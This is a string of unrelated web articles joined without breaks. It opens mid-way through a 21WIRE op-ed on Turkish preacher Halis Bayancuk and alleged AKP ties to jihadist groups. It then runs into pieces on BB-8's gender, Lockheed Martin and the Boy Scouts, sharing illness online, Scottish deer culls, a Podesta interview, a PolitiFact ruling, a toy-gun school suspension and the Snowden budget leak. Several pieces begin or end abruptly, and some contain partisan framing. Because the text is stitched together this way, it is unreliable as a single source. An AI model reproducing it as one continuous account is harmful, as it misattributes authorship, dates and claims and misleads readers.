“[i]n one [court] file I am being presented as Al Qaeda’s Turkey representative and in another file as a member of ISIS. Under normal circumstances, for one man to be the leader of one organisation while being a member of another one, [while] these organisations are fighting one another, is not normal, is not possible even.”
Bayancuk concluded his case by saying that “[t]he difference between us is [that] I talk to people about my beliefs, [while] ISIS fights for what they believe“ (24 February 2016). On his Twitter account, which has been inactive since the Coup-that-was-no-Coup, Bayancuk reacted to the AKP government’s appropriation of the Turkish Constitution’s words that “Sovereignty belongs to the People” in the aftermath of the success of the popular reaction to the military’s attempted power-grab by retorting that “SOVEREIGNTY BELONGS TO ALLAH,” (dated 19 July 2016).
Turkey’s Media-Savvy Islamists: Terrorists or Charlatans?
Rather than being an active Al Qaeda or IS member in Turkey, Bayancuk (or Ebu Hanzala) seems to act as a Muslim proselytizer, whose social media presence reaches many but who does not appear to have any direct links to either the AKP, any of its members or affiliated organisations or even national or international Islamist terror groups.
Halis Bayancuk employs a publishing company and multimedia enterprise known as Tevhid to distribute his words (and deeds). This propaganda vehicle seems to have no apparent connections to any national or international organisations related to “radical Islamic terrorism“ but seems to be nothing but a vanity enterprise whose sole actor and author appears to be Bayancuk himself, with the help of some internet-savvy followers behind the scenes actively keeping his social media presence alive.
On a requisite YouTube channel, for instance, Bayancuk’s talks and speeches are freely available and accessible, which are also being propagated by various twitter and Facebook accounts. As a result, Bayancuk (or Ebu Hanzala) appears no different from the myriad of Islamic proselytizers that have crept up in today’s post-Kemalist Turkish reality. Two names stand out in this respect: Adnan Oktar (aka Harun Yahya) and Cübbeli Ahmet Hoca.
The former achieved some international notoriety with his many glossy publications extolling the virtues of creationism (such as his notorious Atlas of Creationism, with unsolicited copies being sent to scientists and politicians around the world, such as Hillary Clinton, back in 2007). Oktar is also well-known for his ad hominem attacks on Charles Darwin (and what he calls Darwinism) and his contemporary supporters like Richard Dawkins.
At the same time, Oktar is also well-known for his YouTube appearances featuring big-breasted and blonde-maned females, nicknamed “kittens,“ engaging in a veritable lovefest praising his handsome and noble features while pronouncing the name of God over and again in many forms and verbal constructs, with Maşallah (or Masha Allah meaning God has willed it) being the most prominent one. Somewhat hyperbolically, the co-founder/editor-in-chief of the Balkanist magazine, Lily Lynch calls Oktar the “messianic leader of an apocalyptic Islamic sex cult.“
On the purely national stage, then, the man known as Cübbeli Ahmet Hoca – known legally as Ahmet Mahmut Ünlü and described as a “Muslim televangelist with a big wardrobe of long robes, matching hats and an untidy beard” – has over the past years gained great popularity and notoriety in Turkey.
At the very outset of this year, he briefly attained international attention by remarking that playing chess is “worse than gambling and eating pork.” Cübbeli Ahmet, affiiliated with the Ismailağa religious order headquartered in the Çarşamba area of Istanbul’s Fatih district, even secured his own television programme on the channel Lalegül TV, established by the same order in September 2014. His television talks and expositions are meant to instill a sense of awe in the hearts and minds of his many viewers who are thus urged to live wholesome Islamic lives, by means of refraining from chess among other things.
These two men could be seen as mere charlatans exploiting a gullible public using an Islamic vocabulary and Muslim piety as easy means to convince the masses while also employing Turkey’s vast network of religious orders and brotherhoods to further their own cause and spread the word of Islam wide and far throughout the country. And though some of these religious orders might occasionally criticize the ruling AKP or even Tayip Erdğan himself, neither Oktar nor Cübbeli Ahmet would ever do that . . . and that is where Halis Bayancuk (or Ebu Hanzala) is different.
Bayancuk does not shy away from spewing vitriol in the direction of AKP-led Ankara nor does he mince his words supporting organizations that do not carry a lot of popular favour in the country – as is testified by his outspoken words of support and assistance for the Islamic State (IS/ISIS), words that might very well have led the occasional Turkish youth to cross the border and join ‘the good fight’ (or jihad) against Bashar al-Assad.
The AKP Policy of Sunnification and Bashar al-Assad
The specialist Yayla nevertheless regards Ebu Hanzala (or Bayancuk) as a dangerous operator on the Turkish scene – last month, one of his scheduled talks in the capital Ankara was cancelled at the last moment by the Governor (26 February 2017), yet another indication that the AKP government does not necessarily entertain positive feelings towards the man and his words. But away from the glare of social media and other televised popularity contests, there is a very real undercurrent of Islamic agitation and support for “radical Islamic terrorism” present in the country.
In fact, as long ago as December 2013, I outlined the many ways in which AKP-led Turkey has backed Islamist factions next door in order to foment, support and cooperate in the genesis and further development of Syria’s not-so civil war in the pursuit of its very own “policy of Sunnification.“ In the initial stages of the armed insurrection to unseat the Damascus government of Bashar al-Assad, the Islamist terror group known as Jabhat al-Nusra was reputed to be the most effective fighting force.
Appearing on the scene in January 2012, the U.S. designated the group a “terrorist organization” on 11 December, and indications are that Turkey’s AKP machinery has supported the Nusra Front throughout the period 2012-2014. The Minister of the Interior Muammer Güler (24 January-25 December 2013) at the time even appearing to have sent “orders to the governor of the province of Hatay” to that effect, as Turkey then also regarded Jabhat al-Nusra as a hard-hitting tool against Syria’s Kurdish insurgents PYD, linked to the Turkish PKK – Turkey’s National Intelligence Organisation (or MİT) even securing safe border crossings for the Jihadi fighters and its Directorate of Religious Affairs (or Diyanet) providing guesthouses for Nusra members. The appearance of the Islamic State in the summer of 2014 forced Turkey to recalibrate its relationship with the Islamist factions operating across the Turco-Syrian border.
Gaziantep or Turkey’s Caliphal Outpost
In late June last year, the CHP MP for Istanbul Eren Erdem gave a presentation in Turkey’s Parliament (or TBMM) explaining the various ways in which the ruling AKP is now apparently freely aiding and abetting the Islamic State (IS/ISIS) in Syria’s not-so civil war next door. Erdem ascended the podium with many documents in his hands, declaring that the Turkish police has identified numerous safe houses in Turkey (stating that the police have even named 10,000 separate addresses) and that 14 separate investigations had been initiated in this connection.
The MP highlighted one of the cases, to do with a figure whom he identified with his initials as “İ.B.” This figure can arguably be identified as İlhami Balı, habitually employing the code-name or kunya Ebubekir (or Abu Bakr) – a Turkish citizen hailing from the Hatay region’s hamlet of Reyhanlı, scene of an infamous twin car bomb attack on 11 May 2013, universally attributed to Jabhat al-Nusra at the time though Turkey’s AKP government persisted in blaming Bashar al-Assad. According to the pro-government newspaper Sabah, this individual has in the past been incarcerated on numerous occasions as a member of Al Qaeda, but was from 2013 onwards active as the ‘Amir for the Turkish Border’ (or “Türkiye Sınır Emiri“).
In addition, it has come to light that he made seven official cross-border trips between the two countries in the period of 2012-13. While the Turkish press furthermore asserts that, in Gaziantep, Balı was responsible for training the suicide bombers Orhan Gönder for an attack in Diyarbakır (5 June 2015, with a death toll of four), Şeyh Abdurrahman Alagöz for the attack in Suruç (20 July 2015, with a death told of 33), Yunus Emre Alagöz and the Syrian citizen Abu Usamah for the attack at the Ankara train station (10 October 2015, with a death toll of 103), and Mehmet Öztürk for the attack on the İstiklal Caddesi in Istanbul (19 March 2016, with a death toll of at least five).
In the light of the police documents that he was able to obtain in the course of his investigations, Erdem asserted that “İ.B.” (or İlhami Balı) was able to insert a total of 1,800 fighters into the Syrian war theatre, starting in 2011. In this connection, the southeastern city of Gaziantep plays an important role. Erdem asserted that tens of thousands of pages are available documenting police surveillance of suspects travelling in and out of Syria, even receiving medical treatment in a medical facility in the city, before returning across the border to continue fighting in the jihad against Bashar al-Assad. In fact, Eren Erdem also talked about Halis Bayancuk (or Ebu Hanzala), without however mentioning his name sufficing to simply show his picture, stating that the police had proof that this figure had in the past recruited Turkish fighters to join Al Qaeda in Afghanistan and more recently, to join the Islamic State (IS/ISIS) in Syria.
In fact, during last year’s summer months prior to the Coup-that-was-no-Coup, the Turkish press was awash with reports that the Islamic State (IS/ISIS) was planning to forcibly occupy the Turkish city of Gaziantep. These reports were apparently based on materials retrieved from the computer of the ‘Amir of Gaziantep’ Yunus Durmaz, who blew himself up to avoid getting arrested in May last year.
In fact, in August last year, another CHP MP, namely Elif Doğan Türkmen from Adana, visited Gaziantep only to subsequently report to the press that “3 to 4 neighbourhoods are literally in the hands of ISIS and according to the local population the state deliberately ignores this.” And in November 2016 then, the opposition daily Cumhuriyet published a piece based on the prosecutors’ report on the 2015 Ankara bombings, detailing that video footage available on the computer of one of the arrested suspects, a man called Yakup Karaoğlu, conctituted circumstantial evidence regarding the city’s relationship with the Islamic State (IS/ISIS).
The footage in question showed IS supporters touring the city on 3 motorcycles and in eleven separate vehicles, while shouting “Allahu Akbar.“ The footage also showed passerby standing along the roadside, supporting the troup and joining in – inhabitants of all ages could be seen, from children over bearded men and women in hijab to the elderly. In this connection, about half a year ago, the news agency Reuters’ Hümeyra Pamuk remarked that “Turkish officials say at least 700 Turks have joined Islamic State, but some diplomats say the number could be more than 10 times that“ . . . between 700 and 7,000 Turks who are now fighting to overthrow Bashar al-Assad in Syria, while at home Recep Tayyip Erdoğan is at pains to receive a popular mandate that would allow him to become an autocrat far beyond the powers once wielded by Hafez al-Assad or that of his son who is now fighting to save his country from an Islamist take-over that would realise the full extent of the AKP “policy of Sunnification,“ if not much more . . .
The fates of Turkey and Syria thus seem strangely intertwined, with the outcome of next month’s referendum in Turkey possibly also having severe consequences for Syria’s future and the whole of the Middle East., if not the whole world.
21WIRE contributor Dr. Can Erimtan is an independent scholar who was living in Istanbul for some time, with a wide interest in the politics, history and culture of the Balkans and the Greater Middle East. He attended the VUB in Brussels and did his graduate work at the universities of Essex and Oxford. In Oxford, Erimtan was a member of Lady Margaret Hall and he obtained his doctorate in Modern History in 2002. His publications include the book “Ottomans Looking West?” as well as numerous scholarly articles. In the period 2010-11, he wrote op-eds for Today’s Zaman and in the further course of 2011 he also published a number of pieces in Hürriyet Daily News. In 2013, he was the Turkey Editor of the İstanbul Gazette. He is on Twitter at @theerimtanangle
READ MORE TURKEY NEWS AT: 21st Century Wire Turkey Files
Depending on who you ask, BB-8 is a boy or it’s a girl. No one behind the scenes on The Force Awakens can seem to agree. I first learned of BB-8's gender from an anonymous animator who was one of the first to bring the new droid to life. He told me BB-8 is a she, and while that didn’t seem like a huge deal at the time, it was kind of cool.
Suddenly the gender of BB-8 is the source of arguments on Twitter and in message boards. In an interview with Wired , director J.J. Abrams refers to BB-8 as a “he,” while Neal Scanlan, the head of the creature shop at Lucasfilm, seems a bit more confused in his talk with EW :
I’m still not sure, dare I say, whether BB-8 is male or female. BB-8 was female in our eyes. And then she became male. And that’s all part of the evolution, not only visually, but in the way they move, how they hold themselves.
Meanwhile, Lucasfilm president Kathleen Kennedy, along with members of the production team, referred to BB-8 as a “she,” while members of the design crew have called the droid a “he” (hat tip to iO9 for rounding up all these conflicting reports).
So which is it? And why does it matter so much? In a superficial sense, gendering a droid is arbitrary, but it does matter in a much larger sense. C-3PO and R2-D2 have always been classified as male, and if you can have male droids in the Star Wars universe, surely you can also have female droids. And why not? Changing the gender of a few supporting characters from male to female is an easy way to increase diversity in your film, whether it’s a random background character or, in this instance, a robot.
We’ve entered a new era of Star Wars , in which the two leading protagonists are a person of color and a woman, and one of the most intriguing antagonists (Captain Phasma) also happens to be a woman. In a galaxy far, far away, the possibilities for diversity are limitless and immune to our boring, earthbound reality, where Straight White Man is the default setting for the majority of characters.
BB-8's gender matters because it’s indicative of bigger problems at Disney, whose acquisition of Lucasfilm brought about this exciting new phase of the Star Wars saga. Over the past year, Disney (also the parent company of Marvel Studios) has come under fire for its failure to adequately include Black Widow in its officially-licensed Avengers merchandise, as if having women represented on screen should be enough to satisfy female fans; as if those same female fans — many of whom are young — would have no interest in owning a Black Widow action figure. Instead, the company didn’t even include the character in a playset depicting one of her biggest moments in Age of Ultron .
Even after Mark Ruffalo , one of the franchise’s own stars, criticized Disney for failing to offer Black Widow merchandise, the studio continued to neglect this portion of its audience, sending some serious mixed signals in the process.
And Disney still hasn’t learned its lesson. A new Star Wars: The Force Awakens exclusive action figure pack for Target features Finn, Chewbacca, a nameless First Order Stormtrooper, a nameless Stormtrooper Officer, Poe Dameron and Kylo Ren — but no Rey, even though she’s one of the main characters and has been prominently featured in teasers, trailers, TV spots and posters. We’ve been given a young female hero, a role model for little girls and a symbol of increasing improvements in diversity (however incremental) in blockbuster films, and yet she’s not included in this set:
Yes, you can buy a Rey action figure — a few options have been available since Force Friday — but the availability and prominence of Ridley’s character in contrast to her male counterparts is blatantly imbalanced in favor of the men.
I don’t want to seem like I’m looking a gift horse in the mouth or whatever because I am grateful for the on-screen prominence of characters like Rey, Black Widow and Gamora. But it’s ridiculous to think that female fans should just accept a female character’s valuable presence on screen as a concession — when you have the ability to do more, you should. Disney should be selling more merchandise featuring these characters if they’re so important to their franchises (and they are). It’s sexist to assume that girls — or even boys! — wouldn’t want to play with female action figures. These ideas are downright antiquated by now.
Furthermore, it’s this sort of thinking at Disney that turns the superficial irrelevance of BB-8's gender into something that is suddenly very, very important. The company continuously refuses to cater to female fans in its merchandising, essentially signaling that women are important to these stories, but that these stories still largely belong to men. Even worse, the backwards logic that women are important on-screen but not off gives the impression that are value is entirely fiction.
Yes, the gender of a droid probably shouldn’t matter much or even at all, but Disney and Lucasfilm have an opportunity to take this thing that seems fairly unimportant and subtly transform it into something that resonates with a core part of their audience, that holds positive connotations for millions of kids, regardless of gender. It not only shows that something as silly as a droid was given more thoughtful consideration, but that women — like their male Star Wars counterparts — are represented more broadly in a universe with such diverse lifeforms. How many female aliens have we seen in Star Wars over the years, anyway? I can name approximately three or four, including Lupita Nyong’o ’s Maz Kanata in The Force Awakens .
Why does it matter so much? Here’s your mic drop: If C-3PO and R2-D2 (as well as pretty much all of the characters in this guide to the supporting creatures and droids in The Force Awakens ) are classified as male, you can’t exactly say that BB-8's gender doesn’t matter. If George Lucas were to suddenly announce that R2-D2 is actually female, or if J.J. Abrams decided to recast C-3PO with a female actor, there would be outrage . And then your argument that a droid’s gender doesn’t matter would be rendered meaningless.
The move comes after "a careful review" of the company's giving to non-profit organizations, which found that Boy Scouts of America does not align with its commitment to diversity, Lockheed Martin spokesman Gordon Johndroe told BuzzFeed.
"Lockheed Martin is committed to building strong partnerships with non-profit organizations that value diversity and align with our policies," Johndroe said. "While we applaud the mission of the Boy Scouts and the good things they do in our communities, their policies that discriminate on the basis of sexual orientation and religious affiliation conflict with Lockheed Martin policies."
Ending donations to the organization will send a clear message to the incoming president of the Boy Scouts' executive board, former Defense Secretary Robert Gates, according to Eagle Scout and LGBT equality advocate Zach Wahls, who founded Scouts for Equality. Under President Obama, Gates contributed to the end of the military's "Don't Ask, Don't Tell" policy banning out gay and lesbian soldiers.
"This is a big deal for two reasons," Wahls told BuzzFeed. "First, it's another clear sign of where the country's business community is on this issue. And second, it's particularly important given the ascendance of Bob Gates to the Boy Scouts executive board. He is taking over in May of 2014 and as a former secretary of defense, he has a unique relationship with Lockheed Martin. This says the issue is not going away."
In 2012, United Parcel Service and Intel ended donations to BSA -- a victory for Wahls and Scouts for Equality, he said. Together, the two companies donated over a half a million dollars to the organization.
Johndroe would not say how much Lockheed Martin has donated to the Boy Scouts in recent years, or if it might reconsider the decision. Boy Scouts of America could not provide exact donation amounts when asked by BuzzFeed Thursday, but thanked Lockheed Martin for its support in a statement.
"While not a national sponsor, Lockheed Martin has positively impacted America's youth through its support of Scouting in local communities and we are grateful for that support," said Boy Scouts spokesman Deron Smith. "We respect the company's right to express its own opinion and appreciate its recognition that Scouting is a valuable organization. Scouting believes that good people can personally disagree on this topic and still work together to accomplish the common good."
In July, the Irving, Texas-based Boy Scouts reaffirmed its ban on out gay leaders, but dropped its ban on recruiting gay scouts. When asked for details on this policy change, Smith said, "No youth may be denied membership in the Boy Scouts of America on the basis of sexual orientation or preference alone."
"While the BSA does not proactively inquire about the sexual orientation of employees, volunteers, or members, we do not grant membership to individuals who are open or avowed homosexuals or who engage in behavior that would become a distraction to the mission of the BSA," Smith said.
This policy, specifically, led Lockheed Martin to drop its support.
When it comes to disclosing illness on social media, how soon is too soon, and how much is too much?
Three years ago Lisa Bonchek Adams, suffering from breast cancer, tweeted about every aspect of her condition to more than 15,000 followers and countless others on Facebook. Adams, who later died, was severely criticized for over-sharing the details of her illness. Journalist Emma Gilbey Keller asked rhetorically in The Guardian, “Should there be boundaries in this kind of experience?”
Meet Aimee Rouski, a spunky and outspoken British teenager with a penchant for short skirts and body piercings. Rouski suffers from Crohn’s disease, a kind of inflammatory bowel disease that disrupts the entire digestive system. After years of suffering, including incredible pain, multiple mouth ulcers, and constant stomach cramps, Aimee finally had an ileostomy, a surgical procedure in which her small bowel was taken outside of her abdomen and covered in a bag that collects waste.
To help inform others, Aimee posted about her illness on Facebook in late May. She wrote:
“My Crohn’s has left me with a permanent ileostomy, no large intestine, colon, rectum, anus, or inner thigh muscles as they were used for plastic surgery on my wounds.
I’ve always been okay with the stuff that has happened to me, but some people have real difficulties accepting these things so I just want to say this: No one will know unless you tell them.”
She also posted several photos of herself, including one with her ileostomy bag.
Aimee's inner thigh scars posted with the picture of her ileostomy bag. (Photo: Aimee Rouski)
Aimee now has nearly 100,000 followers on Facebook, and more than 14,000 have written messages of support, such as this moving post: [from Narelle Agrela in Perth, Australia]
“Your (sic) a beautiful young women with a whole life ahead you, keep up you're positive attitude and stay strong as living with Crohn's disease myself for 21years it's a silent disease no-one understands unless they have it.”
Responses to Aimee’s disclosures have almost all been supportive, including the one from Michael Osso, president and CEO of the Crohn’s & Colitis Foundation of America. Osso told me that he praised Aimee for sharing her story publicly because it “becomes a source of hope and strength for others going through similar experiences.” I wasn't able to reach Aimee for comment.
Steven Joffe, MD, associate professor of Medical Ethics and Health Policy at the University of Pennsylvania Perelman School of Medicine, similarly added: “[Aimee] is a courageous young woman who, by disclosing her health information and sharing her photos, is helping to educate the public about a serious and life-changing illness and to reduce stigma.”
To a large degree, I agree. It’s for those very same reasons that I’ve written in the past about suffering from depression and having had cancer (including multiple surgeries and chemotherapy). The support from friends and strangers alike has been tremendous and, from reader emails, I believe other sufferers feel less shame, more connection.
But before you upload any photos or make any disclosures, listen to what Arthur Caplan, PhD, founder and head of the Division of Bioethics at New York University Langone Medical Center, had to say. He was less enthusiastic about such public disclosures. And at the very least, he wanted people like Aimee (and me) to ask themselves certain questions:
Do you understand what you’re doing?
“I don’t think it’s a good idea to post personal medical information publicly at all,” said Caplan. “You really have to think carefully about what it means in this day and age to post stuff that lives forever out there on the cloud. I’m not sure a teenager — or for that matter anyone — is really thinking that way.”
Do you understand the risks involved?
“Someone may look at those pictures and say you’re not the kind of person we want to admit into our college,” Caplan warns. “Or what if a prospective employer reads it? Someone considering you for disability insurance? [And then] someone might say I don’t want to date her. She’s sick.”
I certainly think Caplan’s on the money when he speaks of employers and insurers. As for potential dates, really, who would want to go out with someone who had a problem with your health status?
THE TAKEAWAY:
Think it through: Taking the time to understand both your motivations and the possible repercussions is crucial. This is especially true for younger people, who don’t always appreciate that online disclosures are forever. Parents and teachers should provide thoughtful advice, which is not to say that they should just say no. Caplan rightfully reminded me that there’s “a generational difference” and that older folks don't have the “same tolerance for sharing details of your life” that younger ones do. There can be down sides : In addition to Caplan’s caveats, I’ll add my own. Although I have written many times about the details of my cancer, I’m still sometimes surprised when someone brings up personal details they’ve read when we are face to face. It’s often awkward, and it sometimes happens when I’m just not in a frame of mind to talk about cancer. There are many, many benefits: Talking about illness may benefit not only the person who is ill and needs support, but others also suffering from the same condition. Public disclosure fights shame and stigma and helps others feel less alone. As Aimee wrote in her initial post: “People who know will still love you and still find you beautiful. Your illness is nothing to be ashamed of or embarrassed about.”
I could not agree more. How about you? Let me know in the comments section below.
USA TODAY columnist Steven Petrow offers advice about living in the Digital Age. Submit your question to Steven at stevenpetrow@gmail.com. You can also follow Steven on Twitter: @StevenPetrow. Or like him on Facebook atfacebook.com/stevenpetrow.
Scotland’s gamekeepers have urged Scottish Natural Heritage to consign helicopter assisted deer culling to the past saying reviving the practice will be a shameful day for animal welfare.
The Scottish Gamekeepers Association, which represents professional deer managers, made the plea after learning SNH was considering deploying helicopters and hit squads.
Using helicopters to transport marksmen in groups to surround and kill deer first hit the headlines in controversial fashion at Glenfeshie Estate by Kincraig in 2004.
Hundreds of deer were killed outside the legal season by marksmen flown in to the area to protect the Caledonian pine forest regeneration, under licence.
The adverse publicity lead to a Government inquiry, with claims that hyper-stressed deer were held in one area with no means of escape and shot at constantly by rifles for over 90 minutes.
Witnesses reported and filmed deer with significant injuries being left for long periods in agony before finally being dispatched.
Similar culls took place at Caenlochan in Grampian in 2005, with harassed deer breaking through snow fences at Glenshee Ski Centre in a desperate bid to flee the fire.
A report by The Royal School of Veterinary Studies at the time concluded helicopter assisted culls were amongst the worst for shooter accuracy, with flighty deer already on the move reacting to the noise of rotor blades.
SGA said their officials last week learned, during a talk by a senior SNH official at Holyrood, that the heritage body was bringing back helicopter assisted culls.
That has led them to speak out saying the method is against the vision of modern deer management set out in the government’s own blueprint for Scotland.
"No one is denying the need for deer management. The question is the methods to be used in Scotland today," said SGA vice chairman Peter Fraser, a retired deer stalker of 50 years experience, who witnessed the Caenlochan cull.
"We have more qualified deer managers than ever yet we are seeing things like 86 culled stags being left to rot on a hillside by conservation bodies and found by walkers in Knoydart.
"Now Scotland’s own heritage body is looking at using helicopters to transport shooters and carcasses - a practice causing a significant percentage of animals, after being shot, to run or walk away without collapsing due to poor accuracy.
"At the SGA, we are looking to our native deer to become a valued resource for Scotland’s communities, to create employment and to grow the venison industry in a sustainable way.
"How can this be done when the government’s own advisers want to treat deer like this, rendering them worthless? It is a shameful practice and a welfare disaster."
SGA member Niall Rowantree, a former forest ranger who organised helicopter culls in the Trossachs, says the method is a backwards move, at the expense of the Scottish taxpayer.
"It is not a part of sustainable deer management and flies in the face of the Government’s blueprint, Wild Deer: A National Approach. I know because I did it myself.
"I think there would have to be justification about taxes expended on a very expensive method which hasn’t worked, particularly when forest rangers’ jobs are being cut. The fact they are having to return to this, after only 17 years, proves it doesn’t work.
"We are also taking a national venison resource and reducing it to its lowest possible value which does nothing for sustainable communities. If the idea is to protect woodland, we should be looking to use the army of non-paid stalkers only too happy to assist with deer management."
A spokesman for SNH said: "Managing wild deer in Scotland’s hills is extremely challenging. A number of estates have asked us to help them use helicopters to take stalkers to remote areas.
On Friday, FBI Director James Comey sent a letter to Congress explaining the bureau had discovered emails relevant to the Clinton probe while conducting a separate investigation into Anthony Weiner.
Podesta, Clinton’s campaign chairman, opened the interview by blasting Comey for not “actually having looked at” the new emails “before he did this in the middle of the presidential campaign so close to the voting.”
“But it’s not that they haven’t read any of them,” noted host Jake Tapper. “Obviously the FBI agents who stumbled upon them read some of them, and determined them to be pertinent and realized that.”
“Do you know that?” Podesta asked the “State of the Union” host in response. “Do you know that, Jake? You don’t know anything.”
“That’s according to the report,” Tapper shot back. “I’m telling you that’s according to the reporting of Evan Perez, our Justice Department correspondent. It’s not as though they didn’t know anything in the emails.”
“They stumbled upon them, found they seem to be pertinent to the Clinton email server investigation and that is why — ” Tapper added before being interrupted.
“Seemed to be pertinent, might not be significant, 11 days before the election,” Podesta stated. “Is that something you toss on the table or do you take the time to do what other prosecutors have done in the past and make sure that it is so significant that you had to go forward with it.”
“I don’t fault him for taking a look at whatever he’s found, we don’t really know what that is,” he continued. “But at this stage, having taken the steps, he thought it would explain if he thought it’s significant or not significant.
“Let him come forward and say why.”
Later in the interview, Tapper asked Podesta what exactly Clinton had learned from throughout the course of the investigation.
“I always hear the Clinton team say that she’s learned from it,” he stated. “What has she learned?”
“Well look, I think as she said many times, she wouldn’t do it over again,” Podesta answered. “I think it was, you know, I think she didn’t give it that much thought when she did it in the first place, and it’s the kind of a decision that I think needed more thought, more review and she didn’t do it and I think she regrets that.”
“I think it’s regrettable and but you learn and you move on. Again, I think in contrast to our opponent who never seems to learn from his mistakes and keeps repeating them and doubling down on him.”
President Barack Obama’s administration unveiled tough new regulations on existing power plants that seek to significantly curb carbon emissions in the coming decades.
Moments after the proposal was released, it was widely panned by Republicans, who called it a continuation of Obama’s so-called "War on Coal" and said it would kill jobs, raise electric prices and hurt the economy.
On his website , House Speaker John Boehner, R-Ohio, put it in more direct terms: "The president’s plan would indeed cause a surge in electricity bills — costs stand to go up $17 billion every year. But it would also shut down plants and potentially put an average of 224,000 more people out of work every year."
The details of Obama’s plan are extensive — the proposal is 645 pages long. So how did Republicans come up with such exact (and damning) figures so quickly after the proposal was released?
The estimates actually come from a U.S. Chamber of Commerce study that was released in late May. We took a look at it last week , and noted it made several assumptions about the June 2 proposal. We warned that the findings of the study would be relatively unusable if those predictions did not come to light.
And that’s what happened.
The Environmental Protection Agency announced a goal of reducing carbon emissions 30 percent (based on 2005 levels) by 2030. This is achieved in part by creating carbon caps for each state and providing options for them to reach their targets, including regional "cap and trade" networks, investing in renewable energy and smart grid technology, and eventually phasing out many existing coal plants.
But the chamber study that Boehner and other Republicans cite assumed that the Obama administration would want to decrease carbon emissions by 42 percent — not 30 percent — before 2030 (a number Obama first suggested in 2009 during the Copenhagen international climate change talks). When it comes to the pace for reducing CO2 levels, this is a significant difference.
This is a point even the chamber made to PolitiFact now that Obama’s regulations have been released.
"We were never saying those were the numbers for any scenario other than the ones that we put forward," said Matt Letourneau, spokesman for the Institute for 21st Century Energy at the U.S. Chamber of Commerce. "Now that we have a different benchmark, we’re taking a look at the rule and the analysis and the model and we’ll see what we can do (to update the study)."
Why don’t the numbers work? By assuming a much more difficult goal, the chamber also predicted that by 2022, the EPA (under a different president) will have to change course to meet the 42 percent threshold. The only means to accomplish this, the chamber concluded, was to force new natural gas plants to use carbon capture and storage technology. In September, the EPA said new natural gas plants would not need to include carbon capture in their facilities.
A large chunk of the chamber’s estimated costs of the carbon rules comes from the assumption that new natural gas plants will require carbon capture technology, which they say is 50 percent more expensive to build and also more expensive to operate. Therefore, their assumption that power companies face $478 billion in compliance costs — $339 billion from construction — is likely overblown.
Letourneau and Boehner’s office both noted media reports that said the 30 percent threshold could be increased before the final regulations are approved. (Of course, it could also be lowered, too.) There will be a 120-day public comment period before the EPA releases its final draft.
There are other criticisms of the chamber study. For example, it did not factor in the cost of no action, which the EPA said is significant.
The debate over the cost of these regulations will continue, and we do not dismiss offhand the idea that new regulations on existing power plants have an economic cost. For its part, the EPA says that the new rules will save consumers money on their electric bills and will spur economic growth that will surpass the expense.
But even if the regulations do have an economic cost, it’s misleading to quote estimates from a study that wrongly assumed a key piece of the EPA’s proposal.
Our ruling
Boehner said the EPA’s plan to regulate carbon emissions in existing power plants will increase electric bills by "$17 billion every year" and "potentially put an average of 224,000 more people out of work every year." Those numbers are based on a U.S. Chamber of Commerce study that came out before the EPA announced the regulations on existing power plants.
That study wrongly assumed the administration would set a benchmark of reducing carbon emissions by 42 percent before 2030. The regulations released June 2 actually put forward a 30 percent reduction within that timeframe. The chamber itself told PolitiFact its estimates are not based on the goals as announced.
In an all too familiar story, 7-year-old Darin Simak faces a disciplinary hearing Friday, all because he used a backpack that he doesn’t normally take to school, not realizing that the toy was inside.
The boy’s parents are fuming that the incident has not been quickly resolved by officials at Martin Elementary School officials, and has instead been needlessly exacerbated.
“He found the toy gun on the outside pocket,” the boy’s father Chris Simak told local reporters. “He took it straight to the teacher and said that he wasn’t allowed to have it.”
“In the middle of math, I had to go to the principal and have a talk with her. As I’m telling the truth and then I got expelled,” Darin himself said, meaning that he’d been suspended.
Instead of dealing with the incident in a rational way, the teacher in question “followed protocol” by escalating the case to the principal, who in turn escalated it to the superintendent for review. The boy is suspended until a decision on punishment is made.
Darin’s parents have been left fuming, initially sending him to school the day after the suspension was handed down. “I said, ‘I’m sending him to school because he is entitled to be in school and be educated,’” said the mother Jennifer Mathabel.
“What kind of message are we sending to our kids? To tell the truth, yet you get in trouble for it and you get punished for it,” Mathabell said.
Darin was then subjected to an in-school suspension until his father came to pick him up and take him home.
“He did the right thing, and we’re trying to teach him the right way,” Mr Simak said, “and now they’re teaching him the wrong way.”
“What was he supposed to do?” he said. “Just hide it and keep it in his bag so he doesn’t get in trouble?” the father added.
The district’s policy outlines that there is a potential one-year expulsion for bringing “replicas of weapons” onto school grounds. School officials have refused to comment on the matter.
In an almost identical incident earlier this year, an 11-year-old was interrogated, intimidated, and then suspended by school officials in Chicago after he voluntarily “turned in” a toy gun to school officials. The child was also ordered to undergo counseling and psychiatric evaluation.
Following media scrutiny and a legal case brought by rights group The Rutherford Institute, the suspension was eventually lifted and the boy’s record was cleared. School officials at Fredrick Funston Elementary School were mandated to take further training after they needlessly punished the boy under a ‘Dangerous Weapons’ Policy.
These cases are common now under idiotic zero tolerance policies across the nation.
Other previous idiotic cases include the infamous Hello Kitty bubble gun ‘terroristic’ incident, the miniature lego gun school bus massacre, the plastic toy soldier, holding a gun on a cup cake catastophe, and the perilous pencil pointing ‘pow powers’ of Virginia.
Even food bitten into the shape of a gun has been cracked down upon with suspensions.
In many of the cases, children as young as four or five years old were interrogated, or even arrested with potentially permanent criminal record repercussions.
The Rutherford Institute is setting a first rate example in fighting back on such cases. In January their attorneys ensured that justice was done for a fifth grader in Pennsylvania who found himself in trouble after “violating” the school’s zero tolerance policy on weapons by miming the action of firing an arrow from a bow using only his hands.
The list of previous incidents of this nature is now so long that it has prompted lawmakers to take action.
The latest to do so are Florida representatives who have introduced legislation that says “simulating a firearm” is not grounds for disciplinary action. The bill, which is continuing to progress through the Senate, lists “brandishing a partially consumed pastry or other food item” as something that should not land students in hot water.
The top secret budget request for the current fiscal year was obtained by The Washington Post from the former National Security Agency contractor Edward J. Snowden and published in part on its Web site on Thursday. The newspaper said it was withholding most of the 178-page document at the request of government officials because “sensitive details are so pervasive” in its description of spying programs.
The document shows that the agencies’ budget request for the year ending Sept. 30 was $52.6 billion, a small decrease from the 2011 peak of $54.6 billion, which came after a decade of rapid spending growth. Of that, the biggest share was taken by the C.I.A., which carries out traditional human spying and intelligence analysis but also now conducts drone strikes against terrorism suspects in Pakistan and Yemen.
Photo by ablankface from the Torontoist Flickr Pool.
There are times when the Major League Baseball season is an interminable slog. This is one of those times.
